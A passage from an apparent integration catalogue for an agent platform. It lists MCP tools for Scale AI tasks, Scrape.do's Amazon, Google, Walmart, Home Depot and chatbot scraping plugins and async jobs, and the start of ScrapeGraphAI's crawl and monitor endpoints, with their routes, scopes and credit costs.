(write) — Create a completed root task's dependent tasks now, skipping the customer audit (require_audit); fails if the task is not completed or the dependents already exist. Via POST /task/{task_id}/dependents/force_creation. POST /api/v1/scaleai/task/{task_id}/dependents/force_creation. Scopes: api. scaleai_post_task_by_task_id_dependents_options (write) — Change the options of the dependent tasks created once a root task completes; only possible while the root task is not complete. Via POST /task/{task_id}/dependents/options. POST /api/v1/scaleai/task/{task_id}/dependents/options. Scopes: api. scaleai_post_task_by_task_id_tags (write) — Replace all of a task's tags with the listed ones. The request body is a JSON array of non-empty strings. Via POST /task/{task_id}/tags. POST /api/v1/scaleai/task/{task_id}/tags. Scopes: api. scaleai_post_task_by_task_id_unique_id (write) — Set or change the unique_id associated with a task. Via POST /task/{task_id}/unique_id. POST /api/v1/scaleai/task/{task_id}/unique_id. Scopes: api. scaleai_post_task_by_taskid_cancel (write, destructive) — Cancel a pending task; a completed task answers 400. Idempotent. clear_unique_id=true also releases the task's unique_id for reuse. Via POST /task/{taskId}/cancel. POST /api/v1/scaleai/task/{taskId}/cancel. Scopes: api. scaleai_post_task_by_taskid_send_callback (write) — Re-send the callback for a completed or errored task to its callback_url, with the callback's original data. Via POST /task/{taskId}/send-callback. POST /api/v1/scaleai/task/{taskId}/send-callback. Scopes: api. scaleai_post_task_by_taskid_setmetadata (write) — Set the metadata field on an existing task to the key/value object sent as the request body. Idempotent. Via POST /task/{taskId}/setMetadata. POST /api/v1/scaleai/task/{taskId}/setMetadata. Scopes: api. scaleai_post_task_comparison (write) — Create a `comparison` task. The reference site documents this endpoint only as the target of its Idempotency-Key example (tasks.md, 'Avoiding Duplicate Tasks'), so only the fields common to every task type are advertised; any other field Scale documents for comparison tasks may be passed in the body as well. Via POST /task/comparison. POST /api/v1/scaleai/task/comparison. Scopes: api. scaleai_post_task_imageannotation (write) — Create an `imageannotation` task: annotate an image with the box, polygon, line, point, cuboid or ellipse geometries you specify. Required: attachment and geometries. Via POST /task/imageannotation. POST /api/v1/scaleai/task/imageannotation. Scopes: api. scaleai_post_task_lidarannotation (write) — Create a `lidarannotation` task: 3D cuboids around objects across a series of lidar frames with optional radar and camera data. Required: attachments, attachment_type and labels. Via POST /task/lidarannotation. POST /api/v1/scaleai/task/lidarannotation. Scopes: api. scaleai_post_task_lidarlinking (write) — Create a `lidarlinking` task: corrected 2D projections of a completed lidar task's cuboids onto its camera images. Required: annotation_type and lidar_task. Via POST /task/lidarlinking. POST /api/v1/scaleai/task/lidarlinking. Scopes: api. scaleai_post_task_lidarsegmentation (write) — Create a `lidarsegmentation` task: assign a class to each point of a series of lidar frames. Via POST /task/lidarsegmentation. POST /api/v1/scaleai/task/lidarsegmentation. Scopes: api. scaleai_post_task_lidartopdown (write) — Create a `lidartopdown` task: annotate a collection of lidar frames in top down with polygon, line and point geometries. Via POST /task/lidartopdown. POST /api/v1/scaleai/task/lidartopdown. Scopes: api. scaleai_post_task_multistage (write) — Create a `multistage` task from a Sensor Fusion Scene, labelled through the stages of the project's blueprint (or task_blueprint_id). Via POST /task/multistage. POST /api/v1/scaleai/task/multistage. Scopes: api. scaleai_post_task_segmentannotation (write) — Create a `segmentannotation` task: a dense, pixel-wise semantic segmentation of an image according to the labels provided. Via POST /task/segmentannotation. POST /api/v1/scaleai/task/segmentannotation. Scopes: api. scaleai_post_task_sensorfusion (write) — Create a `sensorfusion` task: annotators load a Sensor Fusion Scene (3D point clouds plus 2D camera data) and apply 3D cuboids, point-cloud segmentation, 3D keypoints or top-down polygons. Via POST /task/sensorfusion. POST /api/v1/scaleai/task/sensorfusion. Scopes: api. scaleai_post_task_videoannotation (write) — Create a `videoannotation` task: annotate each frame of a series of images sampled from a video with the geometries you specify. Deprecated by Scale in favour of videoplaybackannotation. Via POST /task/videoannotation. POST /api/v1/scaleai/task/videoannotation. Scopes: api. scaleai_post_task_videoplaybackannotation (write) — Create a `videoplaybackannotation` task: annotations drawn around the specified objects while viewing the given video file. Via POST /task/videoplaybackannotation. POST /api/v1/scaleai/task/videoplaybackannotation. Scopes: api. scaleai_put_audits (write) — Create a fixless audit on a task: the audit result, the audited response URL (task.response.annotations.url) and optional feedback items. Answers 201. Via PUT /audits. PUT /api/v1/scaleai/audits. Scopes: api. scaleai_put_task_by_task_id_tags (write) — Add the listed tags to a task; a tag already on the task is ignored. The request body is a JSON array of non-empty strings. Via PUT /task/{task_id}/tags. PUT /api/v1/scaleai/task/{task_id}/tags. Scopes: api. ================================================================================ ## Scrape.do URL: https://www.agenticfabriq.com/integrations/scrape_do Section: Integrated Tools Scrape.do — 41 MCP tools Provider key: scrape_do. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. scrape_do_delete_api_v1_jobs_by_jobid (write, destructive) — Cancel a job that is still running. DESTRUCTIVE AND NOT REVERSIBLE: there is no un-cancel and no documented way to resume a canceled job -- the remedy is to create a new one. Tasks that had already succeeded keep their results until they expire; tasks that had not are abandoned. A job that has already finished cannot be canceled and answers `406 Not acceptable`, which is a state refusal rather than a bad request or a bad credential. Confirm the outcome by re-reading the job and looking for `canceled`, not by trusting this reply. DELETE /api/v1/scrape_do/api/v1/jobs/{jobID}. Scopes: api. scrape_do_get_api_v1_jobs (read) — A paginated list of the account's asynchronous scraping jobs, newest first by default. Filter by `status` and by a start-time window, and page with `page`/`page_size`. Use this to find a `JobID` when you did not keep the one the create call returned. Timestamps are CASE-SENSITIVE RFC3339 with an uppercase `T` and `Z` (`2026-01-01T00:00:00Z`); an invalid value for any filter answers 400 rather than being ignored. GET /api/v1/scrape_do/api/v1/jobs. Scopes: api. scrape_do_get_api_v1_jobs_by_jobid (read) — One job by its id, with every task it holds and each task's current state. The state vocabulary is `queuing` (being prepared), `queued` (waiting), `pending` (running), `rotating` (retrying through different proxies), `success`, `error` and `canceled` -- the last three are terminal. Poll this with exponential backoff rather than tightly, or configure a `WebhookURL` on the job and do not poll at all. A task's own payload comes from the task read, not from here. GET /api/v1/scrape_do/api/v1/jobs/{jobID}. Scopes: api. scrape_do_get_api_v1_jobs_by_jobid_by_taskid (read) — One task inside a job: its state and, once it has reached `success`, the scraped result. This is where a finished async scrape is actually read. Check the task's `Status` before reading its payload -- a task in `error` carries the failure rather than a page -- and read it before its `ExpiresAt`, because Scrape.do stores task results only temporarily. GET /api/v1/scrape_do/api/v1/jobs/{jobID}/{taskID}. Scopes: api. scrape_do_get_api_v1_me (read) — The authenticated account as the Async API sees it: subscription state, credit allowance and what is left of it, and the concurrency the async pool currently has free. Read `FreeConcurrency` before submitting a large batch, and the remaining-credit figures to decide whether a run is affordable. This is the right tool for "is this connection alive and what is left on it" -- note it is the ASYNC host's account view (`q.scrape.do`), not the synchronous API's `/info`, which this integration does not ship because it answers 200 with `IsActive:false` to a token it has rejected. GET /api/v1/scrape_do/api/v1/me. Scopes: api. scrape_do_get_plugin_amazon (read) — The complete HTML source of any Amazon URL, optionally ZIP- or country-targeted -- for pages the structured tools do not cover. RETURNS MARKUP, NOT PARSED FIELDS: prefer the product, search, offers, seller, best-sellers or deals tools whenever one of them covers what you need, because they return JSON and this returns a page you have to parse. When `zipcode` is set the request goes through the ZIP-keyed cookie pool that locks the delivery location; for marketplaces without ZIP-level delivery pass `countryName` instead. The reply is capped -- a page larger than the inline limit is refused rather than truncated, and the async job tool with a `WebhookURL` is the route for genuinely large pages. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon. Scopes: api. scrape_do_get_plugin_amazon_bestsellers (read) — Amazon's ranked chart for a category -- Best Sellers, or New Releases with `type=new-releases`. READ BOTH ARRAYS: Amazon publishes a Top 100 as two pages of 50 and renders full product cards for only the first 30 positions on each, so `ranking` is the complete ordered chart for the page while `products` is the subset with price and rating. Join them on `asin`. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon/bestsellers. Scopes: api. scrape_do_get_plugin_amazon_deals (read) — Amazon's discounted-product grid as a paginated, filterable list. Every product carries its current price alongside the struck-through price it was reduced from, so compute the discount yourself rather than trusting a badge. Scope it to a category with `node`, bound it with `low_price`/`high_price`, narrow it with Amazon's own `rh` refinement string, and sort with `sort_by`. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon/deals. Scopes: api. scrape_do_get_plugin_amazon_offer_listing (read) — Every seller listing for one ASIN -- price, shipping cost, seller id and name, condition and Buy Box status -- the same data as Amazon's "All Offers" page, parsed. This is the price- comparison and competitive-intelligence read. Pair it with the seller-profile tool: this one says WHICH sellers carry an ASIN (`sellerId`), that one says who they are. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon/offer-listing. Scopes: api. scrape_do_get_plugin_amazon_pdp (read) — One Amazon product detail page, parsed: title, price, rating and review count, images, the long-form description, best-seller rankings and the technical specification table. No HTML handling on your side. Price and availability follow the delivery location, so pass `zipcode` (or `countryName` where the marketplace has no ZIP-level delivery) rather than accepting whatever default Amazon picks. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon/pdp. Scopes: api. scrape_do_get_plugin_amazon_search (read) — Keyword search or category browse on Amazon, parsed into product listings with title, price, rating, Prime status, sponsored flag and position. Amazon's category pages share the search page's structure, so this one tool serves both: pass `keyword` for a search, or `node`/`rh`/`i` copied from a category URL to browse. Page with `page`. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon/search. Scopes: api. scrape_do_get_plugin_amazon_seller (read) — The profile page for one Amazon seller id: display name, the seller's own blurb, the headline positive-feedback percentage and the business details Amazon publishes. On EU marketplaces that includes the trader-transparency block -- registered business name and type, trade register number, VAT number, phone, email and registered address -- and OUTSIDE THE EU most of those are simply absent, so treat every field as optional rather than reading an empty value as a scrape failure. Get seller ids from the offer-listing tool. COSTS 1 CREDIT per successful request -- the cheapest family here, because Scrape.do routes `amazon.*` through this scraper by default. GET /api/v1/scrape_do/plugin/amazon/seller. Scopes: api. scrape_do_get_plugin_chatgpt_chat (read) — Send one prompt to `chatgpt.com` and get the assistant's reply back as structured JSON -- text with citation markers stripped, plus `output.markdown` and `output.html` for display, `sources[]`, `tool_data` and the model slug. Stateless: no account, no cookies, no conversation id to carry. `q` is capped at 1,024 characters. COSTS 25 CREDITS per successful request, the most expensive tool in this integration; failed requests are not charged and there is no additional render fee. For many prompts, submit them through the async job tool with the `chatgpt/chat` plugin key instead of calling this in a loop. GET /api/v1/scrape_do/plugin/chatgpt/chat. Scopes: api. scrape_do_get_plugin_gemini_chat (read) — Send one prompt to `gemini.google.com` and get Gemini's reply back as structured JSON. One GET, no Google account, no cookies, no browser automation. COSTS 25 CREDITS per successful request; failed requests are not charged and there is no render fee. URL-encoding of a multi-word prompt is handled for you -- pass `q` as plain text. GET /api/v1/scrape_do/plugin/gemini/chat. Scopes: api. scrape_do_get_plugin_google_flights (read) — Google's flight feed as JSON: per-segment `flights[]`, `layovers[]`, `total_duration`, `price`, `carbon_emissions`, airline logo and a `booking_token`, plus aggregate price insights and airport metadata. One call, no rendering and no booking-flow scraping. `departure_id`/`arrival_id` take IATA airport or city codes. A one-way search needs no `return_date`; a round trip does. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/flights. Scopes: api. scrape_do_get_plugin_google_food (read) — The online-ordering providers on a restaurant's Google "Order online" page, with `pickup[]` and `delivery[]` returned together in Google's display order -- one call rather than one per fulfilment mode. `mid` is the Google Knowledge Graph machine id of the restaurant, which the Maps place and search tools return. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/food. Scopes: api. scrape_do_get_plugin_google_hotels (read) — STEP ONE OF TWO. Search Google Hotels and get property metadata -- name, photos, GPS, ratings, amenities and a per-night price -- plus a `detail_token` for each property. Feed that token to the hotel-detail tool for the per-vendor offer shelf. Filter by price band, rating, hotel class, amenities, property type, free cancellation, eco certification and special offers; page with the `next_page_token` a previous reply returned. Both dates are required, even for a price-only lookup. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/hotels. Scopes: api. scrape_do_get_plugin_google_hotels_detail (read) — STEP TWO OF TWO. The full per-vendor offer shelf for ONE property -- Booking.com, Hotels.com, Agoda and the rest -- with live `rate_per_night` and `total_rate`. `detail_token` comes from a hotel-search reply and is the only way in; the dates must be sent again because the rates are stay-specific. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/hotels/detail. Scopes: api. scrape_do_get_plugin_google_maps_place (read) — The enriched record for ONE Google Maps place: menu, popular times, user reviews, images, plus code, opening hours and service options. Designed as a follow-up to a Maps search -- take a `place_id` or `data_cid` from that reply's `local_results[]` and read the full record here. The upstream contract marks both identifiers as required; supply the one you hold, and Scrape.do answers 400 naming what it needed if that is not enough. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/maps/place. Scopes: api. scrape_do_get_plugin_google_maps_reviews (read) — Paginated user reviews for one Google Maps place: rating, ISO dates, text with optional translation, images, reviewer profile, like count, guided-review detail and the owner's response where there is one. Sort with `sort_by` -- lowest-rated first is the complaint- monitoring view -- filter by `topic_id` or a free-text `query`, and page by replaying `pagination.next_page_token` until it stops coming back. COSTS 10 CREDITS PER PAGE, so bound the walk or run it as an async job rather than looping here. GET /api/v1/scrape_do/plugin/google/maps/reviews. Scopes: api. scrape_do_get_plugin_google_maps_search (read) — A Google Maps search for any query, returning a paginated list of places with ratings, addresses, contact details and opening hours, all parsed. START HERE: the place and reviews tools both take identifiers this reply carries. Centre the search on a coordinate with `ll` and page with `start`, which is an OFFSET rather than a page number. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/maps/search. Scopes: api. scrape_do_get_plugin_google_news (read) — Google News as JSON -- articles, topic clusters, menu navigation and related topics. SIX DRIVER PARAMETERS, and you use ONE of them per call: `q` to search by keyword, `topic_token` to browse a topic, `section_token` to drill into a section, `story_token` to expand a story cluster, `publication_token` to read one publication's page, or `kgmid` to pivot through a Knowledge Graph entity. Every token comes from a previous reply and they are not stable across responses -- use the freshest one rather than a cached one. The upstream contract marks all six as required; in practice you supply the driver you are using, and Scrape.do answers 400 naming what it needed if the combination is wrong. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/news. Scopes: api. scrape_do_get_plugin_google_play_store (read) — Find Play Store apps by query, category or top chart, with titles, ratings, prices and the package identifiers the app-detail and reviews tools take. Pass `q` to search, `apps_category` to browse, or `chart` to read a top chart. Page with the `next_page_token` a previous reply returned. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/play-store. Scopes: api. scrape_do_get_plugin_google_play_store_product (read) — The full Play Store details page for one app: description, version, download count, screenshots, release notes and developer information. `product_id` is the package name, for example `com.spotify.music`, which the Play Store search tool returns. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/play-store/product. Scopes: api. scrape_do_get_plugin_google_play_store_reviews (read) — Paginated user reviews for one Play Store app: rating, date, the app version reviewed and the developer's response where there is one. Page by replaying the `next_page_token` from a previous reply. COSTS 10 CREDITS per successful request, so a full review history for a popular app is many calls -- bound it, or submit the pages as one async job. GET /api/v1/scrape_do/plugin/google/play-store/reviews. Scopes: api. scrape_do_get_plugin_google_search (read) — A Google search parsed into structured JSON: organic results, ads, knowledge graph, local pack, video results, related questions and the rest, with no HTML handling on your side. Page with `start`, which is an OFFSET rather than a page number. `resolveGoto` follows Google's redirect wrappers so links come back as their real destinations. Localize with `location` (free text, encoded for you) rather than `uule` unless you already hold an encoded value. COSTS 10 CREDITS per successful request -- Scrape.do applies a residential proxy to `google.*` by default, which is why this is ten rather than one. GET /api/v1/scrape_do/plugin/google/search. Scopes: api. scrape_do_get_plugin_google_search_ai_mode (read) — Google AI Mode: a conversational search whose primary content is an AI-generated answer in structured text blocks with inline references and shopping results, rather than a list of links. Scrape.do fetches Google's AI Mode async payload directly, so no JavaScript rendering is involved, there is no render fee and latency is lower than a full-browser scrape. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/search/ai-mode. Scopes: api. scrape_do_get_plugin_google_search_ai_overview (read) — The follow-up call for an AI Overview a search returned as `state: "deferred"`. Replay the `session_key` from that reply and get the completed overview -- `text_blocks` with `reference_indexes`, plus `references` -- with `state` now `complete` or `unavailable`. SESSION KEYS EXPIRE AFTER 90 SECONDS AND ARE SINGLE-USE: once fetched they are deleted, and an expired or already-used key answers `404 {"error": "session not found"}`, which means re-run the search for a fresh one rather than retrying this call. It does not accept `resolveGoto`. COSTS 5 CREDITS, the cheapest Google call here. GET /api/v1/scrape_do/plugin/google/search/ai-overview. Scopes: api. scrape_do_get_plugin_google_shopping (read) — Google Shopping search results -- organic listings plus sponsored product ads -- as structured JSON, roughly 40 products a page with title, price and original price, retailer, rating and review count, delivery information, discount badges and a Google product id. START HERE to get the `catalog_id` the shopping-product tool takes. Page with `start`, which is an OFFSET. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/shopping. Scopes: api. scrape_do_get_plugin_google_shopping_product (read) — The full Google Shopping product page for one item: the first batch of seller offers, variants, specifications, reviews, videos and related discussions. THE FLOW IS THREE STEPS -- search Google Shopping to get a `catalog_id`, call this for the page and its first sellers, then replay the `next_page_token` it returns against the shopping-product-stores tool to walk the rest of the seller list. A `catalog_id` is REGION-SCOPED: re-search per market rather than reusing one across locales. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/shopping/product. Scopes: api. scrape_do_get_plugin_google_shopping_product_stores (read) — The continuation call that walks the rest of a Google Shopping product's seller list, roughly ten sellers at a time. Replay the `next_page_token` from the product page (or from the previous call of this tool) together with THE SAME `catalog_id`: the token is signed and bound to it, and a mismatch answers `400 catalog_id mismatch`. The locale is carried inside the token, so do not resend `q`, `gl` or `hl`. The reply is LEAN -- `product_id`, `stores[]` and the next token only; the title, gallery and variants are not re-emitted because you already have them. Keep going until no token comes back. COSTS 10 CREDITS PER CALL. GET /api/v1/scrape_do/plugin/google/shopping/product/stores. Scopes: api. scrape_do_get_plugin_google_trending (read) — What is trending on Google right now for one country -- the same data as `trends.google.com/trending`. `geo` is required and decides the country. Widen or narrow the window with `hours`, filter to a category with `cat`, order with `sort` (relevance by default or by search volume) and choose whether to include topics that have stopped trending with `status`. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/trending. Scopes: api. scrape_do_get_plugin_google_trends (read) — Google Trends for a keyword: interest over time, interest by region, related queries and related topics. Narrow to one of those with `data_type`, set the window with `date` (Google's own notation, for example `today 12-m` or `today 5-y`), scope it geographically with `geo`, restrict the surface with `gprop` (web search, YouTube, news, images, shopping) and set the regional resolution with `region`. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/google/trends. Scopes: api. scrape_do_get_plugin_google_youtube (read) — A parsed YouTube search-results page: videos, channels, playlists, Shorts shelves, ads and the discovery rails (`people_also_watched`, `from_related_searches`, `channels_new_to_you`, `explore_more`). Typically 15-20 videos a page; set `num` (1-30) and the plugin pages internally until it holds that many, still for ONE flat charge. `sp` is both the filter token (videos-only, channels-only, sort mode, duration, upload date, 4K/HD/LIVE/captions) and the continuation cursor -- replay the `pagination.next_page_token` from a previous reply to go deeper. COSTS 10 CREDITS per successful request, whether or not `num` paged internally. GET /api/v1/scrape_do/plugin/google/youtube. Scopes: api. scrape_do_get_plugin_homedepot_product (read) — A `homedepot.com` product page fetched through a store-scoped session, so the pricing, availability and fulfilment options are the ones that store offers. RETURNS HTML, NOT PARSED FIELDS -- typically around 700 KB -- so parse it yourself; and note Home Depot loads some pricing through client-side calls after the initial render, so a field missing from the markup is being fetched separately by the page rather than withheld by the API. `url`, `storeid` and `zipcode` are all effectively required: omitting any answers 400 before the page is fetched, and costs nothing. Resolve a store id with the Home Depot stores tool. THIS PLUGIN IS SYNCHRONOUS ONLY -- the async job tool rejects it with `unsupported plugin key`. The reply is capped; an oversized page is refused rather than truncated. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/homedepot/product. Scopes: api. scrape_do_get_plugin_homedepot_stores (read) — Home Depot stores near a postal code or a coordinate pair, as JSON, including the `storeId` values the product tool expects. Pass EITHER `zipcode` OR both `lat` and `lng`: sending neither answers `400 zipcode (or lat+lng) is required`, and `lat` without `lng` is refused the same way. THIS PLUGIN IS SYNCHRONOUS ONLY -- the async job tool rejects it with `unsupported plugin key`. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/homedepot/stores. Scopes: api. scrape_do_get_plugin_lowes_store (read) — Fetch a `lowes.com` URL through a store-scoped session, so prices, stock and fulfilment come back as that store serves them. `url`, `zipcode` and `storeid` are all effectively required: omitting any of them answers 400 BEFORE the page is fetched, so the request costs nothing. ONLY CERTAIN URL SHAPES ARE ACCEPTED -- `/pd/<slug>/<itemId>` and `/search...` return HTML, `/pl/<category>/<id>/products` and `/wpd/<itemId>/productdetail/<storeId>/<auth>/<zipCode>` return JSON, and anything else answers `400 valid lowes url expected`. For the `/wpd/` and `/collections/` shapes the store and ZIP segments INSIDE the path must match the `storeid` and `zipcode` parameters exactly. The reply is capped -- an oversized page is refused rather than truncated. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/lowes/store. Scopes: api. scrape_do_get_plugin_walmart_product (read) — Full detail for one Walmart item AS SOLD AT ONE STORE: the price and stock at that location, plus the description and specification table only the product page carries. `store` and `zipcode` are both required and both shape the answer -- a product read without them is a different product read. COSTS 10 CREDITS per successful request; failed requests are never charged. GET /api/v1/scrape_do/plugin/walmart/product. Scopes: api. scrape_do_get_plugin_walmart_search (read) — A keyword search against ONE Walmart store, returning structured listings with the prices and availability that store actually offers. Sponsored placements are included and FLAGGED rather than removed, so drop them yourself if you do not want them. COSTS 10 CREDITS per successful request; failed requests are never charged. GET /api/v1/scrape_do/plugin/walmart/search. Scopes: api. scrape_do_get_plugin_walmart_store (read) — Fetch ANY Walmart URL through a session already warmed for a specific store and get the upstream response verbatim -- HTML for a page, JSON for one of Walmart's own endpoints. Use it for what the parsed tools do not cover, such as a category listing or the full product markup; for plain search or product detail the dedicated tools are lighter and return JSON. `transparentresponse` returns the target's own status and body on a timeout instead of a 502, which changes what a failure looks like. The reply is capped -- an oversized page is refused rather than truncated, and a genuinely large fetch belongs in an async job with a `WebhookURL`. COSTS 10 CREDITS per successful request. GET /api/v1/scrape_do/plugin/walmart/store. Scopes: api. scrape_do_post_api_v1_jobs (write) — Queue a batch of scrapes and get a `JobID` plus one `TaskID` per target back immediately, instead of holding a request open while each page loads. The body carries EITHER `Targets` (a list of URLs to fetch raw) OR `Plugin` ({`Key`, `Params`}) to run one of the structured scrapers -- `amazon/pdp`, `google/search`, `google/maps/reviews` and twenty-odd others -- over up to 1,000 parameter sets in one job. THE TWO ARE MUTUALLY EXCLUSIVE: sending both answers 400. Optional `GeoCode` and `Super` apply to every task; `WebhookURL` (with optional `WebhookHeaders`) has results POSTed to you as they finish, which is the documented production pattern and avoids polling altogether. The async pool is SEPARATE from the synchronous concurrency limit -- an extra 30% of your plan's limit, not deducted from it -- so a full main pipeline does not block it. Results are stored temporarily: read each task before its `ExpiresAt`. Credits are spent per task as it succeeds, at whatever the target's own rate is, not by this call. POST /api/v1/scrape_do/api/v1/jobs. Scopes: api. ================================================================================ ## ScrapeGraphAI URL: https://www.agenticfabriq.com/integrations/scrapegraphai Section: Integrated Tools ScrapeGraphAI — 36 MCP tools Provider key: scrapegraphai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. scrapegraphai_delete_api_agent_subscription (write, destructive) — Cancel your agent subscription. DELETE /api/agent/subscription. Requires SGAI-APIKEY. Stops future Inflow billing immediately. Paid access and subscription credits remain until paidThrough; top-ups and the API key do not expire with the subscription. Idempotent; no automatic refund. DELETE /api/v1/scrapegraphai/api/agent/subscription. Scopes: api. scrapegraphai_delete_api_crawl_by_id (write, destructive) — Delete a crawl. DELETE /api/crawl/{id}. DELETE /api/v1/scrapegraphai/api/crawl/{id}. Scopes: api. scrapegraphai_delete_api_monitor_by_id (write, destructive) — Delete a monitor. DELETE /api/monitor/{id}. DELETE /api/v1/scrapegraphai/api/monitor/{id}. Scopes: api. scrapegraphai_get (read) — Service card. GET /. Where to find the docs, OpenAPI, and agent discovery documents. GET /api/v1/scrapegraphai/. Scopes: api. scrapegraphai_get_api_agent_odp_collections (read) — List offering collections. GET /api/agent/odp/collections. Requires Accept: application/odp+json. Uses the ODP 1.0 response format. GET /api/v1/scrapegraphai/api/agent/odp/collections. Scopes: api. scrapegraphai_get_api_agent_odp_collections_by_id (read) — Get a collection. GET /api/agent/odp/collections/{id}. Requires Accept: application/odp+json. Uses the ODP 1.0 response format. GET /api/v1/scrapegraphai/api/agent/odp/collections/{id}. Scopes: api. scrapegraphai_get_api_agent_odp_collections_by_id_offerings (read) — List offerings in a collection. GET /api/agent/odp/collections/{id}/offerings. Requires Accept: application/odp+json. Uses the ODP 1.0 response format. GET /api/v1/scrapegraphai/api/agent/odp/collections/{id}/offerings. Scopes: api. scrapegraphai_get_api_agent_odp_offerings (read) — List credit packs and subscriptions. GET /api/agent/odp/offerings. Requires Accept: application/odp+json. Uses the ODP 1.0 response format. GET /api/v1/scrapegraphai/api/agent/odp/offerings. Scopes: api. scrapegraphai_get_api_agent_odp_offerings_by_id (read) — Get an offering. GET /api/agent/odp/offerings/{id}. Requires Accept: application/odp+json. Uses the ODP 1.0 response format. GET /api/v1/scrapegraphai/api/agent/odp/offerings/{id}. Scopes: api. scrapegraphai_get_api_agent_odp_schemas_subscription_json (read) — Get the subscription attribute schema. GET /api/agent/odp/schemas/subscription.json. GET /api/v1/scrapegraphai/api/agent/odp/schemas/subscription.json. Scopes: api. scrapegraphai_get_api_agent_protocols (read) — Discover agent payments, credit packs, and subscriptions. GET /api/agent/protocols. Free, unauthenticated discovery: which payment protocols this API accepts, the credit packs and monthly/yearly subscriptions on sale, and the endpoints a keyless agent uses to buy access. GET /api/v1/scrapegraphai/api/agent/protocols. Scopes: api. scrapegraphai_get_api_agent_subscription (read) — Get your agent subscription. GET /api/agent/subscription. Requires SGAI-APIKEY. Returns Inflow status, paid-through date, and remaining subscription and top-up credits. GET /api/v1/scrapegraphai/api/agent/subscription. Scopes: api. scrapegraphai_get_api_crawl_by_id (read) — Get crawl status and pages. GET /api/crawl/{id}. GET /api/v1/scrapegraphai/api/crawl/{id}. Scopes: api. scrapegraphai_get_api_crawl_by_id_pages (read) — Get paginated crawl pages. GET /api/crawl/{id}/pages. GET /api/v1/scrapegraphai/api/crawl/{id}/pages. Scopes: api. scrapegraphai_get_api_credits (read) — Get credits balance. GET /api/credits. Returns remaining credits, usage, plan, and job slot usage. GET /api/v1/scrapegraphai/api/credits. Scopes: api. scrapegraphai_get_api_health (read) — Health check. GET /api/health. Returns ok if Redis and DB are reachable, degraded otherwise. GET /api/v1/scrapegraphai/api/health. Scopes: api. scrapegraphai_get_api_history (read) — List request history. GET /api/history. Session ID filters use case-insensitive partial matching. GET /api/v1/scrapegraphai/api/history. Scopes: api. scrapegraphai_get_api_history_by_id (read) — Get a history entry. GET /api/history/{id}. GET /api/v1/scrapegraphai/api/history/{id}. Scopes: api. scrapegraphai_get_api_monitor (read) — List monitors. GET /api/monitor. GET /api/v1/scrapegraphai/api/monitor. Scopes: api. scrapegraphai_get_api_monitor_by_id (read) — Get a monitor. GET /api/monitor/{id}. GET /api/v1/scrapegraphai/api/monitor/{id}. Scopes: api. scrapegraphai_get_api_monitor_by_id_activity (read) — Get monitor tick activity. GET /api/monitor/{id}/activity. GET /api/v1/scrapegraphai/api/monitor/{id}/activity. Scopes: api. scrapegraphai_get_api_validate (read) — Validate API key. GET /api/validate. Returns the email of the user owning the provided API key. GET /api/v1/scrapegraphai/api/validate. Scopes: api. scrapegraphai_get_well_known_aep (read) — AEP inspect document. GET /.well-known/aep. Agent enrollment entrypoint: identity methods, grant types, and command URLs. GET /api/v1/scrapegraphai/.well-known/aep. Scopes: api. scrapegraphai_get_well_known_did_json (read) — Service DID document. GET /.well-known/did.json. The did:web document for did:web:sgai-api-v2.onrender.com. Carries no keys; agents check it matches the origin. GET /api/v1/scrapegraphai/.well-known/did.json. Scopes: api. scrapegraphai_get_well_known_odp (read) — Get the ODP service document. GET /.well-known/odp. Requires Accept: application/odp+json. Uses the ODP 1.0 response format. GET /api/v1/scrapegraphai/.well-known/odp. Scopes: api. scrapegraphai_patch_api_monitor_by_id (write) — Update a monitor. PATCH /api/monitor/{id}. PATCH /api/v1/scrapegraphai/api/monitor/{id}. Scopes: api. scrapegraphai_post_api_crawl (write) — Start a crawl. POST /api/crawl. POST 